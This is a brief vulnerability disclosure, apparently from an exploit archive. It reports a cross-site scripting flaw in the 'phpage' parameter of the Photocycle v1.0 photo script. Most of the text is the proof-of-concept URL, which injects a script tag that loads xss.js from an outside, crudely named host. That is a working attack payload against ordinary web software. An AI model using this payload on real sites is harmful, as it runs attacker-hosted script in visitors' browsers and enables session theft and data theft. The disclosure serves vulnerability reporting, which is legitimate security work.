Photocycle v1.0 - XSS

[luny]

Photocycle v1.0


Homepage

http://adambrown.info/p/tools/photocycle


XSS vuln on phpage var:


PoC

http://www.example.com/photocycle&phpage=<script%20src=http://www.youfucktard.com/xss.js></script>